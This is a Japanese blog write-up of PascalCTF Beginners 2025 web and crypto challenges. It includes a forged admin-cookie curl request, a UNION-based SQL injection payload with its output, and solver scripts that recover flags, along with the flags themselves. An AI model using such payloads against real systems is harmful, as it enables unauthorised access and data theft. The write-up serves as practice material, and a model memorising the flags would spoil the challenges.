はまやんはまやんはまやん

hamayanhamayan's blog

PascalCTF Beginners 2025 Writeup

[web] Static Fl@g

A friend of mine created a nice frontend, he said we didn't need a backend to check the flag...

ソースコード無し。フラグ入力フォームがあるwebサイトが与えられる。巡回すると、JavaScriptコードにbase64エンコードされてる何かが見つかる。

if (flag === atob('cGFzY2FsQ1RGe1MwX3kwdV9jNG5fVVMzXzFuc3BlY3RfM2wzbTNudF90MF9jaDM0dF9odWg/fQ==')) {

これをデコードするとフラグ。

[web] Biscotto

Elia accidentally locked himself out of his admin panel can you help him to get his access back?

ソースコード有り。中身は簡潔。

const express = require('express');
const path = require('path');
const cookie_parser = require('cookie-parser');
const { env } = require('process');

const app = express();

app.use(express.urlencoded({ extended: false }));
app.use(cookie_parser());

app.post("/login", (req, res) => {
    const username = req.body.username
    if (!username) res.sendStatus(400);
    if (username === "admin") res.send("Nope");
    else {
        res.cookie("user", username, { httpOnly: true })
            .redirect("/");
    }

});

app.get("/me", (req, res) => {
    const username = req.cookies.user;
    if (!username || username !== "admin") {
        res.send("<a href='/login'>Log in</a> as admin if you want the flag.");
    } else res.send(env.FLAG);
});


app.use(express.static(path.join(__dirname, "public")));

app.listen(8001, () => console.log("Server started"));

GET /meを見るとcookieでuser=adminになっていればフラグが手に入るが、それを発行するPOST /loginではuser=adminにできなくなっているのでどうしようという問題。

だが、実際にはPOST /loginからcookieを発行してもらう必要はなく、無からuser=adminのcookieをクライアントから送り付けてやれば良いので、curl -v --cookie "user=admin" https://[redacted]/meでフラグ獲得。

[web] Euro 2024

It is a widely known fact that Elia is a diehard fan of football! For this reason he built a website to display the group stats of the EURO 2024 tournament but it seems like he left a secret somewhere.

ソースコード有り。ソースコードを巡回すると、SQLインジェクション脆弱性がある。

app.post("/api/group-stats", async (req, res) => {
    const group = req.body.group;
    let data = await db.query(`SELECT * FROM GROUP_STATS WHERE group_id = '${group}' ORDER BY ranking ASC`).catch((err) => console.error(err));
    res.json({ data: data.rows });
});

フラグはどこにあるかな、と探すと

client.query(`CREATE TABLE IF NOT EXISTS FLAG (
    flag VARCHAR(64) PRIMARY KEY 
)`);

client.query(`INSERT INTO FLAG VALUES ($1)`, [env.FLAG], (err) => console.log(err));

のように、FLAGテーブルのflagカラムに置いてある。

$ curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "group=A' UNION SELECT flag, flag, 1 as ranking, 1, 1, 1, 1, 1 FROM FLAG --" https://euro2024.challs.pascalctf.i
t/api/group-stats
{"data":[{"group_id":"A","team_name":"Germany","ranking":1,"points":7,"wins":2,"draws":1,"losses":0,"goal_difference":6},{"group_id":"A","team_name":"Switzerland","ranking":2,"points":5,"wins":1,"draws":2,"losses":0,"goal_difference":2},{"group_id":"pascalCTF{fl4g_is_in_7h3_eyes_of_the_beh0lder}","team_name":"pascalCTF{fl4g_is_in_7h3_eyes_of_the_beh0lder}","ranking":1,"points":1,"wins":1,"draws":1,"losses":1,"goal_difference":1},{"group_id":"A","team_name":"Scotland","ranking":4,"points":1,"wins":0,"draws":1,"losses":2,"goal_difference":-5},{"group_id":"A","team_name":"Hungary","ranking":3,"points":3,"wins":1,"draws":0,"losses":2,"goal_difference":-3}]}

[crypto] Romañs Empyre

My friend Elia forgot how to write, can you help him recover his flag??

配布ファイルは以下。

romans_empire.pyから見ていこう。

import os, random, string

alphabet = string.ascii_letters + string.digits + "{}_-.,/%?$!@#"
FLAG : str = os.getenv("FLAG")
assert FLAG.startswith("pascalCTF{")
assert FLAG.endswith("}")

def romanize(input_string):
    key = random.randint(1, len(alphabet) - 1)
    result = [""] * len(input_string)
    for i, c in enumerate(input_string):
        result[i] = alphabet[(alphabet.index(c) + key) % len(alphabet)]
    return "".join(result)

if __name__ == "__main__":
    result = romanize(FLAG)
    assert result != FLAG
    with open("output.txt", "w") as f:
        f.write(result)

keyがランダムに作成され、それを使ってrot13している。可能性のあるkeyの組み合わせは大きくないので、keyを全探索して復元することにしよう。

const alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-.,/%?$!@#";
const encrypted = "TEWGEP6a9rlPkltilGXlukWXxAAxkRGViTXihRuikkos";

function deromanize(encryptedString, key) {
  let result = [];
  for (let i = 0; i < encryptedString.length; i++) {
    const c = encryptedString[i];
    const index = alphabet.indexOf(c);
    if (index === -1) {
      return "";
    }
    const newIndex = (index - key + alphabet.length) % alphabet.length;
    result.push(alphabet[newIndex]);
  }
  return result.join("");
}

for (let key = 1; key < alphabet.length; key++) {
  const decrypted = deromanize(encrypted, key);
  if (decrypted.startsWith("pascalCTF{")) {
    console.log(`Key ${key}: ${decrypted}`);
  }
}

これでフラグが見つかる。

[crypto] MindBlowing

My friend Marco recently dived into studying bitwise operators, and now he's convinced he's invented pseudorandom numbers! Could you help me figure out his secrets?

スクリプト mindblowing.py が与えられる。中身は以下。

import signal, os

SENTENCES = [
    b"Elia recently passed away, how will we be able to live without a sysadmin?!!?",
    os.urandom(42),
    os.getenv('FLAG', 'pascalCTF{REDACTED}').encode()
]

def generate(seeds: list[int], idx: int) -> list[int]:
    result = []
    if idx < 0 or idx > 2:
        return result
    encoded = int.from_bytes(SENTENCES[idx], 'big')
    for bet in seeds:
        # why you're using 1s when 0s exist
        if bet.bit_count() > 40:
            continue
        result.append(encoded & bet)
    
    return result

def menu():
    print("Welcome to the italian MindBlowing game!")
    print("1. Generate numbers")
    print("2. Exit")
    print()

    return input('> ')

def handler(signum, frame):
    print("Time's up!")
    exit()

if __name__ == '__main__':
    signal.signal(signal.SIGALRM, handler)
    signal.alarm(300)
    while True:
        choice = menu()

        try:
            if choice == '1':
                idx = int(input('Gimme the index of a sentence: '))
                seeds_num = int(input('Gimme the number of seeds: '))
                seeds = []
                for _ in range(seeds_num):
                    seeds.append(int(input(f'Seed of the number {_+1}: ')))
                print(f"Result: {generate(seeds, idx)}")
            elif choice == '2':
                break
            else:
                print("Wrong choice (。_。)")
        except:
            print("Boh ㅄ( ┴, ┴ )ㅄ")

入力値と以下の3つのどれかを選択すると、

SENTENCES = [
    b"Elia recently passed away, how will we be able to live without a sysadmin?!!?",
    os.urandom(42),
    os.getenv('FLAG', 'pascalCTF{REDACTED}').encode()
]

入力値 and SENTENCESの結果を得られる。このままだと、入力値として1111...1111を入力して、SENTENCES[2]を入れればフラグが得られそうだが、if bet.bit_count() > 40:だと出力されなくなるので、このままでは無理。

フラグは固定なので、一気にではなく順番に持ってくれば良い。以下のようにやる。

  1. インデックス2(FLAG)を選択
  2. 特定のバイト位置だけに1ビットが立ったマスクを作成する。具体的には、最初のバイトだけを調べるために0xFF00000...000、次のバイトを調べるために0x00FF000...000のようなシード値を使う
  3. これらのマスクとFLAGのAND演算を行うと、そのバイト位置の値がそのまま取得できる
  4. これをすべてのバイト位置に対して順番に繰り返し、フラグを完全に復元する

つまり、以下のソルバーで解ける。

from ptrlib import *

sock = remote("mindblowing.challs.pascalctf.it", 420)

flag_bytes_reversed = []

max_bytes = 60
for i in range(max_bytes):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter("sentence: ", "2")
    sock.sendlineafter("seeds: ", "1")
    mask = 0xFF << (i * 8)
    sock.sendlineafter(f"number 1: ", str(mask))
    
    result = sock.recvline().decode().strip()
    masked_value = int(result.split("[")[1].split("]")[0])
    byte_value = (masked_value >> (i * 8)) & 0xFF
    flag_bytes_reversed.append(byte_value)
    
    print(f"Byte {i}: {byte_value} (ASCII: {chr(byte_value)})")
    if byte_value == 0:
        break

flag_bytes = list(reversed(flag_bytes_reversed))
flag = bytes(flag_bytes)
print(flag.decode('ascii'))

[crypto] My favourite number

Alice and Bob are playing a fun game, can you guess Alice's favourite number too?

暗号化のソースコードは以下。

from Crypto.Util.number import getPrime,bytes_to_long
import os

FLAG = os.environ["FLAG"]
assert FLAG.startswith("pascalCTF{")
assert FLAG.endswith("}")

e = 65537

alice_p, alice_q = getPrime(1024), getPrime(1024)
alice_n = alice_p * alice_q

print(f"hi, i'm Alice, my public parameters are:\nn={alice_n}\ne={e}")

def sendToAlice(msg):
    pt = bytes_to_long(msg.encode())
    assert pt < alice_n
    ct = pow(pt, e, alice_n)
    print(f"bob: {ct}")

bob_p, bob_q = getPrime(1024), getPrime(1024)
bob_n = bob_p * bob_q

print(f"hi Alice! i'm Bob, my public parameters are:\nn={bob_n}\ne={e}")

def sendToBob(msg):
    pt = bytes_to_long(msg.encode())
    assert pt < bob_n
    ct = pow(pt, e, bob_n)
    print(f"alice: {ct}")


alice_favourite_number = bytes_to_long(FLAG.encode())
assert alice_favourite_number < 2**500

sendToBob("let's play a game, you have to guess my favourite number")

upperbound = 2**501
lowerbound = 0
while upperbound - lowerbound > 1:
    mid = (upperbound + lowerbound) // 2
    sendToAlice(f"Is your number greater than {mid}?")
    if alice_favourite_number > mid:
        sendToBob(f"Yes!, my number is greater than {mid}")
        lowerbound = mid
    else:
        sendToBob(f"No!, my number is lower or equal to {mid}")
        upperbound = mid

sendToAlice(f"so your number is {upperbound}?")
assert upperbound == alice_favourite_number
sendToBob("yes it is!")
sendToAlice("that's a pretty cool number")

AliceとBobの間でRSA暗号を使った通信をしていて、中間者として傍聴できる。この状態で、AliceとBobが二分探索のような数当てゲームをしている。

以下のような傍聴結果が与えられるので、Aliceの好きな番号を当てる問題。

hi, i'm Alice, my public parameters are:
n=17076498954505451321861119187729608757416905748867673888110876027453110303809918524948169536577185009725422636230582777751694760854745372838514526794977168980920985183480524141333711115233599125338182976448921374937390114899156362042708864365541798300522589522145664475311378703829810669442629548206236717298608728361314202046190112352158981081513551383513539439992638105251243490030080400407761002218040842348387684329337920895373544435826296548819466755568180630427687532756967027894903752312575345105900871880133312939399972998499864894933353341278217027846929478575996736832500945330491531018098316270751574762249
e=65537
hi Alice! i'm Bob, my public parameters are:
n=24013931831232453281518966703896935736579923596763663442887932342463401388694231179675633142563508390638324096418142016403796592874546102637282709981349828515627864402237928489533475173833847031793167583797656645048519100930036698097419117422705349421063067725601837677342686605785991794918193759898208415092096382520677696121700320901801150549995678591709374648264923032295635998712646210679016968529991268307423471583495735852776032376049015007865071024655011075722012619811633975077171223538628559915256165007964674072134567522119172998111045971050032009368095770051750902712736998687296409687016286673471252330313
e=65537
alice: 21413798825283817298030192422939868986717802592220173471531731288064888975032452533284081680305151505195707771189456673588171080696150455425021206151119384698051241480659676685914519675596153549732812663822737437314771266704921562279120313178358604588158756642986391979410353509875204652161980711538149539968635975076801682019011319471780623626017318263229206345630673186342630534444974207369723582588416057755564969489323716402573986640795225536391860242654937501276759737736213743250187099541919108524524150416374818586443121062330171880934511044166002493411740543063679268323191314233791783278510498654565061077122
bob: 16291734359854873188861910831229593517625075224816047743214806283729263332415425758441647403048034258463689103533440584895251176875775388203614211122647359457308224118828277125951272245864774407038431974686275511026710395517825955933042515381683419379362172887002610535279685845183799520244119353970099705665853488940299412759660857615970452473204406217007716783480405095928503970087859828493254668507058594996717824930957550033690143886702067383859404733001243239910445652726773629407325511003898666416857440461492569943735733077554403206760567469863153494628346049495204888758358162070383478032791306612747356726498
alice: 12469749973841795455824938047066141982168882322556620200553733404479948752861166839083765989025958655719662070201475342159529127128447506966339811501584655148000837196698375786875039361356324054655669769476943578496323374669177328823710823352032959255063053983060173143974235684228513033329284369709670106072547198161155872704855393230072077822277248812664235302827379562826178484605913285650633815434000916208693522483905007175372057762445767490323043369221587632466904744939058161288208526433255279200702384465279326196237160926341623672803543134092074641270627274817210378761079412544096224643003225090261788479814
bob: 15504374495201195723152105240937428692629511739845865748051466178667538711658046522246391668165063346062368520361003444806598392546690076312176213052526932739414916604956416310391943376231839742946484224897045651014406432008768577767964887959463162436733933649477504737593778877646971864471471851353636742379119521234210971451587382819706660470936786307707459894582759964185292150120609828595129688230473473754550247449788319820772231511841720337515814795943461103946829434363814043569000214650419617586183162930502249377730662958763238550674443096950165135822197010054234295070490663276875967239328414563578855770893
...
[ひたすら続く]

この問題で重要なのが、(n,e)があれば平文から暗号文が計算できるという所。それを使えば二分探索を再シミュレーションできる。流れは以下。

  1. ログファイルからAliceとBobの公開鍵と通信ログを抽出する
  2. 二分探索のシミュレーションを開始する(上限=2501、下限=0)
  3. 各ステップで、現在のmid値((upperbound + lowerbound) // 2)を計算する
  4. このmid値を使って、以下の二つのメッセージを作成する: 「はい」の場合: "Yes!, my number is greater than {mid}" 「いいえ」の場合: "No!, my number is lower or equal to {mid}"
  5. これらのメッセージをBobの公開鍵で暗号化する
  6. 暗号化したメッセージを実際の通信ログの暗号文と比較し、一致するほうが実際の応答であると判断する
  7. 「はい」の場合は下限をmidに更新し、「いいえ」の場合は上限をmidに更新する
  8. ステップ2~7を繰り返し、上限と下限の差が1になるまで繰り返す
  9. 最終的な上限値が目的の数字(FLAG)となる

これにより、暗号文の比較によって、「はい」か「いいえ」かが分かる。ソルバーは以下。

from Crypto.Util.number import bytes_to_long, long_to_bytes

with open('output.txt', 'r') as f:
    lines = f.readlines()

alice_n = int(lines[1].split('=')[1].strip())
alice_e = int(lines[2].split('=')[1].strip())
bob_n = int(lines[4].split('=')[1].strip())
bob_e = int(lines[5].split('=')[1].strip())

communications = []
for line in lines[6:]:
    if line.startswith('alice: '):
        sender = 'alice'
        msg = int(line[7:].strip())
        communications.append((sender, msg))
    elif line.startswith('bob: '):
        sender = 'bob'
        msg = int(line[5:].strip())
        communications.append((sender, msg))
alice_responses = [msg for sender, msg in communications if sender == 'alice']



def encrypt_to_bob(message, bob_n, bob_e):
    pt = bytes_to_long(message.encode())
    ct = pow(pt, bob_e, bob_n)
    return ct

hi = 2**501
lo = 0

alice_idx = 1

while lo + 1 < hi:
    md = (hi + lo) // 2
    
    yes_response = f"Yes!, my number is greater than {md}"
    no_response = f"No!, my number is lower or equal to {md}"
    
    yes_encrypted = encrypt_to_bob(yes_response, bob_n, bob_e)
    no_encrypted = encrypt_to_bob(no_response, bob_n, bob_e)
    
    actual_response = alice_responses[alice_idx]
    alice_idx += 1
    
    if actual_response == yes_encrypted:
        lo = md
    else:
        hi = md

flag = long_to_bytes(hi)
print(flag)